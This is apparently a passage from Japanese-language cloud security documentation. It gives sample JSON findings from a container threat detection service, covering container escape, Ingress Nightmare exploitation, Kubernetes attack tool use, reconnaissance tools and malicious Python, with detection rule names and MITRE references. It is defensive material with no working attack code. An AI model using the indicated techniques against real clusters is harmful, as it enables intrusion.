    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Execution: Container Escape",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2024-10-21T19:08:35.255Z",
    "database": {},
    "eventTime": "2024-10-21T19:08:35.091Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2024-06-17T18:50:13Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2024-10-21T19:07:41.503072537Z"
        }
      }
    ],
    "mitreAttack": {
      "primaryTactic": "EXECUTION",
      "primaryTechniques": [
        "USER_EXECUTION"
      ],
      "additionalTactics": [
        "PRIVILEGE_ESCALATION"
      ],
      "additionalTechniques": [
        "ESCAPE_TO_HOST"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-container-escape-suspicious-tool-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_container_escape"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/21225e29b4225a4eca16996445e243fdab8051a0ad4bc232b907ef5e9b67f66b/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

実行: Ingress Nightmare 脆弱性の実行(プレビュー

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Execution: Ingress Nightmare Vulnerability Exploitation",
    "chokepoint": {},
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2025-04-17T18:54:09Z"
      }
    ],
    "createTime": "2025-04-17T18:54:14.136Z",
    "database": {},
    "dataProtectionKeyGovernance": {},
    "eventTime": "2025-04-17T18:54:13.952Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-04-17T18:54:09Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-04-17T18:54:09.924746656Z"
        }
      }
    ],
    "mitreAttack": {
      "primaryTactic": "EXECUTION",
      "primaryTechniques": [
        "SHARED_MODULES"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/tmp/nginx\"",
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "\"/tmp/nginx\"",
          "\"/proc/1/fd/1\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-ingress-nightmare-2025-04-17-18-54-06-utc\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"SHLVL\"",
            "val": "\"0\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"_\"",
            "val": "\"/tmp/nginx\""
          }
        ],
        "pid": "1",
        "parentPid": "0"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "MEDIUM",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_ingress_nightmare_vulnerability_exploitation"
    },
    "detectionPriority": "MEDIUM",
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1744916049",
            "nanos": 924746656
          }
        }
      }
    ],
    "properties": {},
    "findingId": "b19bf4b85b504a5da1a64cdadd4c8194",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/tactics/TA0002/"
      },
      "relatedFindingUri": {}
    }
  }
}
    

実行: Kubernetes 攻撃ツールの実行

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Execution: Kubernetes Attack Tool Execution",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "1970-01-01T00:00:00Z"
      }
    ],
    "createTime": "2024-10-21T19:08:35.255Z",
    "database": {},
    "eventTime": "2024-10-21T19:08:35.091Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "1970-01-01T00:00:00Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2024-10-21T19:07:41.503072537Z"
        }
      }
    ],
    "mitreAttack": {
      "primaryTactic": "RESOURCE_DEVELOPMENT",
      "primaryTechniques": [
        "OBTAIN_CAPABILITIES"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-kubernetes-attack-suspicious-tool-864dfecdc8d5f5d4\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "SEVERITY_UNSPECIFIED",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_kubernetes_attack_tool_execution"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1588/002/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/21225e29b4225a4eca16996445e243fdab8051a0ad4bc232b907ef5e9b67f66b/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

実行: ローカル偵察ツールの実行

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Execution: Local Reconnaissance Tool Execution",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "1970-01-01T00:00:00Z"
      }
    ],
    "createTime": "2024-10-21T19:08:35.255Z",
    "database": {},
    "eventTime": "2024-10-21T19:08:35.091Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "1970-01-01T00:00:00Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2024-10-21T19:07:41.503072537Z"
        }
      }
    ],
    "mitreAttack": {
      "primaryTactic": "RECONNAISSANCE",
      "primaryTechniques": [
        "ACTIVE_SCANNING"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-local-reconn-suspicious-tool-90e2e63d67bbc483\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "SEVERITY_UNSPECIFIED",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_local_reconnaissance_tool_execution"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1595/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/21225e29b4225a4eca16996445e243fdab8051a0ad4bc232b907ef5e9b67f66b/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

実行: 悪意のある Python の実行

{
  "finding": {
    "canonicalName": "projects/PROJECT_ID/sources/SOURCE_ID/locations/global/findings/FINDING_ID",
    "category": "Execution: Malicious Python Executed",
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2024-06-17T18:50:15.454Z",
    "description": "A machine learning model using Natural Language Processing  techniques identified an executed python script as malicious.",
    "eventTime": "2024-06-17T18:50:15.217Z",
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2024-06-17T18:50:13Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "mitreAttack": {
      "primaryTactic": "EXECUTION",
      "primaryTechniques": [
        "COMMAND_AND_SCRIPTING_INTERPRETER",
        "PYTHON"
      ],
      "additionalTactics": [
        "COMMAND_AND_CONTROL"
      ],
      "additionalTechniques": [
        "INGRESS_TOOL_TRANSFER"
      ]
    },
    "mute": "UNDEFINED",
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "3492656",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "3492656",
          "partiallyHashed": false,
        },
        "script": {
          "path": "FILENAME",
          "size": "4191",
          "sha256": "SHA_256",
          "hashedSize": "4096",
          "partiallyHashed": true,
          "contents": "\"#!/usr/bin/env python\\n\\nimport uuid\\nimport subprocess\\nimport os\\nimport sys\\nsys.exit(0)…",
        },
        "args": [
          "INTERPRETER",
          "FILENAME"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"HOSTNAME\"",
            "val": "\"CONTAINER_NAME\""
          },
        ],
        "pid": "7",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "severity": "CRITICAL",
    "state": "ACTIVE",
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "Process_Arguments": [
      "INTERPRETER",
      "FILENAME"
    ],
    "VM_Instance_Name": "INSTANCE_ID",
    "Process_Binary_Fullpath": {
        "primitiveDataType": "STRING"
      },
    "description": "A machine learning model using Natural Language Processing techniques identified an executed python script as malicious.",
    "Container_Creation_Timestamp": {
      "seconds": 1718650213,
      "nanos": 0
    },
    "Pod_Name": "CONTAINER_NAME",
